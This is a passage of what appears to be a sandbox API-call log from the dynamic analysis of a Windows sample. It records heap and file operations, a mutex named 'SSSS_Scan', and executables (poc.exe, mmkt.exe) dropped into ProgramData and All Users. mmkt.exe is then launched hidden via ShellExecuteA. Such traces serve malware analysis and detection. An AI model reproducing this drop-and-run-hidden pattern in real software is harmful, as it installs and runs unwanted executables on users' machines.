RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e218 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e250 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e288 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e2c0 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e2f8 [0052.970] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e330 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e368 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e3a0 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e3d8 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e410 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e448 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e480 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e4b8 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e4f0 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e528 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e560 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e598 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e5d0 [0052.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e608 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e640 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e678 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e6b0 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e6e8 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e720 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e758 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e790 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e7c8 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e800 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e838 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e870 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e8a8 [0052.972] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e8e0 [0052.973] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e918 [0052.973] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e950 [0052.973] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e988 [0052.973] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24e9c0 [0052.973] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ea18 [0052.973] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ea50 [0052.973] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ea88 [0052.973] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24eac0 [0052.973] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24eaf8 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24eb30 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24eb68 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24eba0 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ebd8 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ec10 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ec48 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ec80 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ecb8 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ecf0 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ed28 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ed60 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24ed98 [0052.974] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x24edd0 [0052.977] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="SSSS_Scan") returned 0xac [0052.977] GetLastError () returned 0x0 [0053.077] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78) returned 1 [0053.077] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78 | out: hHeap=0x230000) returned 1 [0053.077] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b200) returned 1 [0053.077] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b200 | out: hHeap=0x230000) returned 1 [0053.077] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78) returned 1 [0053.077] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78 | out: hHeap=0x230000) returned 1 [0053.077] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0053.077] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0053.077] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78) returned 1 [0053.077] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78 | out: hHeap=0x230000) returned 1 [0053.093] GetProcAddress (hModule=0x76e10000, lpProcName="AreFileApisANSI") returned 0x76ea40d1 [0053.093] AreFileApisANSI () returned 1 [0053.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18fe48, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0053.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18fe48, cbMultiByte=-1, lpWideCharStr=0x26b220, cchWideChar=9 | out: lpWideCharStr="C:\\Users") returned 9 [0053.093] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x18fd88 | out: lpFileInformation=0x18fd88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0053.094] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b200) returned 1 [0053.094] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b200 | out: hHeap=0x230000) returned 1 [0053.094] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78) returned 1 [0053.094] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78 | out: hHeap=0x230000) returned 1 [0053.094] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0053.094] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0053.094] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78) returned 1 [0053.094] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78 | out: hHeap=0x230000) returned 1 [0053.094] AreFileApisANSI () returned 1 [0053.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26b238, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0053.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26b238, cbMultiByte=-1, lpWideCharStr=0x24a498, cchWideChar=19 | out: lpWideCharStr="C:\\Users\\All Users") returned 19 [0053.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users" (normalized: "c:\\users\\all users"), fInfoLevelId=0x0, lpFileInformation=0x18fd88 | out: lpFileInformation=0x18fd88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.095] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24a478) returned 1 [0053.095] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24a478 | out: hHeap=0x230000) returned 1 [0053.095] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78) returned 1 [0053.095] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267a78 | out: hHeap=0x230000) returned 1 [0053.095] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b218) returned 1 [0053.095] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b218 | out: hHeap=0x230000) returned 1 [0053.095] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267a40) returned 1 [0053.095] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267a40 | out: hHeap=0x230000) returned 1 [0053.095] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267a08) returned 1 [0053.095] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267a08 | out: hHeap=0x230000) returned 1 [0053.095] LoadLibraryExW (lpLibFileName="api-ms-win-core-sysinfo-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.095] GetLastError () returned 0x57 [0053.095] LoadLibraryExW (lpLibFileName="api-ms-win-core-sysinfo-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0053.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fe38 | out: lpSystemTimeAsFileTime=0x18fe38*(dwLowDateTime=0x788d8860, dwHighDateTime=0x1d5ca1f)) [0053.156] GetLastError () returned 0x7e [0053.156] SetLastError (dwErrCode=0x7e) [0053.156] GetLastError () returned 0x7e [0053.156] SetLastError (dwErrCode=0x7e) [0053.156] GetLastError () returned 0x7e [0053.156] SetLastError (dwErrCode=0x7e) [0053.156] GetLastError () returned 0x7e [0053.156] SetLastError (dwErrCode=0x7e) [0053.156] GetLastError () returned 0x7e [0053.156] SetLastError (dwErrCode=0x7e) [0053.156] GetLastError () returned 0x7e [0053.156] SetLastError (dwErrCode=0x7e) [0053.156] GetLastError () returned 0x7e [0053.156] SetLastError (dwErrCode=0x7e) [0053.156] GetLastError () returned 0x7e [0053.156] SetLastError (dwErrCode=0x7e) [0053.156] GetLastError () returned 0x7e [0053.156] SetLastError (dwErrCode=0x7e) [0053.156] GetLastError () returned 0x7e [0053.157] SetLastError (dwErrCode=0x7e) [0053.157] GetLastError () returned 0x7e [0053.157] SetLastError (dwErrCode=0x7e) [0053.157] GetLastError () returned 0x7e [0053.157] SetLastError (dwErrCode=0x7e) [0053.157] GetLastError () returned 0x7e [0053.157] SetLastError (dwErrCode=0x7e) [0053.157] GetLastError () returned 0x7e [0053.157] SetLastError (dwErrCode=0x7e) [0053.157] GetLastError () returned 0x7e [0053.157] SetLastError (dwErrCode=0x7e) [0053.157] GetLastError () returned 0x7e [0053.157] SetLastError (dwErrCode=0x7e) [0053.157] GetLastError () returned 0x7e [0053.157] SetLastError (dwErrCode=0x7e) [0053.157] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267a08 [0053.157] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b218 [0053.157] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2679d0) returned 1 [0053.157] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2679d0 | out: hHeap=0x230000) returned 1 [0053.158] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5c) returned 0x26c200 [0053.262] AreFileApisANSI () returned 1 [0053.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4bb068, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0053.262] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x52) returned 0x26c268 [0053.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4bb068, cbMultiByte=-1, lpWideCharStr=0x26c288, cchWideChar=23 | out: lpWideCharStr="C:\\ProgramData\\poc.exe") returned 23 [0053.263] CreateFileW (lpFileName="C:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18fc0c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0 [0053.265] GetFileType (hFile=0xb0) returned 0x1 [0053.327] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26c268) returned 1 [0053.342] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26c268 | out: hHeap=0x230000) returned 1 [0053.357] WriteFile (in: hFile=0xb0, lpBuffer=0x4c5ab0*, nNumberOfBytesToWrite=0x1d5000, lpNumberOfBytesWritten=0x18fc2c, lpOverlapped=0x0 | out: lpBuffer=0x4c5ab0*, lpNumberOfBytesWritten=0x18fc2c*=0x1d5000, lpOverlapped=0x0) returned 1 [0053.478] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1024) returned 0x26c268 [0053.528] WriteFile (in: hFile=0xb0, lpBuffer=0x26c288*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x18fcc0, lpOverlapped=0x0 | out: lpBuffer=0x26c288*, lpNumberOfBytesWritten=0x18fcc0*=0xc00, lpOverlapped=0x0) returned 1 [0053.529] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26c268) returned 1 [0053.529] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26c268 | out: hHeap=0x230000) returned 1 [0053.529] CloseHandle (hObject=0xb0) returned 1 [0053.553] Sleep (dwMilliseconds=0x1388) [0058.598] GetNativeSystemInfo (in: lpSystemInfo=0x18fec0 | out: lpSystemInfo=0x18fec0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0058.731] AreFileApisANSI () returned 1 [0058.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4bb048, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0058.774] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5c) returned 0x26c268 [0058.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4bb048, cbMultiByte=-1, lpWideCharStr=0x26c288, cchWideChar=28 | out: lpWideCharStr="C:\\Users\\All Users\\mmkt.exe") returned 28 [0058.835] CreateFileW (lpFileName="C:\\Users\\All Users\\mmkt.exe" (normalized: "c:\\users\\all users\\mmkt.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18fc0c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0 [0058.913] GetFileType (hFile=0xb0) returned 0x1 [0058.928] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26c268) returned 1 [0058.928] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26c268 | out: hHeap=0x230000) returned 1 [0058.987] WriteFile (in: hFile=0xb0, lpBuffer=0x69b6b0*, nNumberOfBytesToWrite=0x60000, lpNumberOfBytesWritten=0x18fc2c, lpOverlapped=0x0 | out: lpBuffer=0x69b6b0*, lpNumberOfBytesWritten=0x18fc2c*=0x60000, lpOverlapped=0x0) returned 1 [0059.104] CloseHandle (hObject=0xb0) returned 1 [0059.118] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\All Users\\mmkt.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=0) returned 0x2a [0059.579] Sleep (dwMilliseconds=0x1388) [0066.272] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x50) returned 0x24a478 [0066.429] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ca8 [0066.506] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0066.587] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b308 [0066.588] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x277b48 [0066.773] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277b48) returned 1 [0066.788] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277b48 | out: hHeap=0x230000) returned 1 [0066.788] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x277b48 [0066.789] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x3c) returned 0x243da0 [0066.803] GetLastError () returned 0x0 [0066.879] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.959] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x276fc0 [0067.022] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6ca) returned 0x2af8b0 [0067.037] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0) returned 1 [0067.038] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0 | out: hHeap=0x230000) returned 1 [0067.038] GetLastError () returned 0x0 [0067.038] SetLastError (dwErrCode=0x0) [0067.053] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x267c70 [0067.053] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x277b18 [0067.194] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x277ba8 [0067.194] GetLastError () returned 0x0 [0067.194] SetLastError (dwErrCode=0x0) [0067.194] GetLastError () returned 0x0 [0067.194] SetLastError (dwErrCode=0x0) [0067.195] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x2a5528 [0067.195] GetLastError () returned 0x0 [0067.195] SetLastError (dwErrCode=0x0) [0067.256] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6ca) returned 0x2af8b0 [0067.256] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0) returned 1 [0067.256] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0 | out: hHeap=0x230000) returned 1 [0067.256] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c70) returned 1 [0067.256] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c70 | out: hHeap=0x230000) returned 1 [0067.257] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x276fc0) returned 1 [0067.257] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x276fc0 | out: hHeap=0x230000) returned 1 [0067.257] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277ba8) returned 1 [0067.257] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277ba8 | out: hHeap=0x230000) returned 1 [0067.257] GetLastError () returned 0x0 [0067.257] SetLastError (dwErrCode=0x0) [0067.257] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x267c70 [0067.257] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x277ba8 [0067.257] GetLastError () returned 0x0 [0067.257] SetLastError (dwErrCode=0x0) [0067.257] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x224) returned 0x2b0c88 [0067.257] GetLastError () returned 0x0 [0067.257] SetLastError (dwErrCode=0x0) [0067.257] GetLastError () returned 0x0 [0067.257] SetLastError (dwErrCode=0x0) [0067.257] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x277b78 [0067.257] GetLastError () returned 0x0 [0067.257] SetLastError (dwErrCode=0x0) [0067.257] GetLastError () returned 0x0 [0067.257] SetLastError (dwErrCode=0x0) [0067.257] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x276fc0 [0067.258] GetLastError () returned 0x0 [0067.258] SetLastError (dwErrCode=0x0) [0067.258] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6ca) returned 0x2af8b0 [0067.258] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0) returned 1 [0067.258] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0 | out: hHeap=0x230000) returned 1 [0067.258] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c70) returned 1 [0067.258] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c70 | out: hHeap=0x230000) returned 1 [0067.258] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2a5528) returned 1 [0067.258] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a5528 | out: hHeap=0x230000) returned 1 [0067.258] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277b78) returned 1 [0067.258] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277b78 | out: hHeap=0x230000) returned 1 [0067.258] GetLastError () returned 0x0 [0067.258] SetLastError (dwErrCode=0x0) [0067.258] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x267c70 [0067.258] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277ba8) returned 1 [0067.258] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277ba8 | out: hHeap=0x230000) returned 1 [0067.258] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277b18) returned 1 [0067.258] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277b18 | out: hHeap=0x230000) returned 1 [0067.259] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267bc8 [0067.259] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267c00 [0067.274] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267d18 [0067.274] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ce0 [0067.274] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268370 [0067.274] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b3f8 [0067.350] AreFileApisANSI () returned 1 [0067.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26b418, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0067.350] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x56) returned 0x28bea8 [0067.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26b418, cbMultiByte=-1, lpWideCharStr=0x28bec8, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\uname") returned 25 [0067.366] CreateFileW (lpFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f96c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0067.537] GetFileType (hFile=0x180) returned 0x1 [0067.554] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8) returned 1 [0067.554] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8 | out: hHeap=0x230000) returned 1 [0067.554] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268338 [0067.554] GetLastError () returned 0x0 [0067.554] SetLastError (dwErrCode=0x0) [0067.554] GetLastError () returned 0x0 [0067.554] SetLastError (dwErrCode=0x0) [0067.554] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x2b0eb8 [0067.554] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6ca) returned 0x2af8b0 [0067.554] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0) returned 1 [0067.554] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0 | out: hHeap=0x230000) returned 1 [0067.555] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c70) returned 1 [0067.555] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c70 | out: hHeap=0x230000) returned 1 [0067.555] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x276fc0) returned 1 [0067.555] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x276fc0 | out: hHeap=0x230000) returned 1 [0067.555] GetLastError () returned 0x0 [0067.555] SetLastError (dwErrCode=0x0) [0067.555] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x267c70 [0067.555] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x277b18 [0067.555] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x277ba8 [0067.555] GetLastError () returned 0x0 [0067.555] SetLastError (dwErrCode=0x0) [0067.555] GetLastError () returned 0x0 [0067.555] SetLastError (dwErrCode=0x0) [0067.555] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x276fc0 [0067.555] GetLastError () returned 0x0 [0067.555] SetLastError (dwErrCode=0x0) [0067.555] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6ca) returned 0x2af8b0 [0067.555] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0) returned 1 [0067.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0 | out: hHeap=0x230000) returned 1 [0067.556] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c70) returned 1 [0067.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c70 | out: hHeap=0x230000) returned 1 [0067.556] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2b0eb8) returned 1 [0067.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2b0eb8 | out: hHeap=0x230000) returned 1 [0067.556] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277ba8) returned 1 [0067.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277ba8 | out: hHeap=0x230000) returned 1 [0067.556] GetLastError () returned 0x0 [0067.556] SetLastError (dwErrCode=0x0) [0067.556] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x267c70 [0067.556] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x277ba8 [0067.556] RtlAllocateHeap 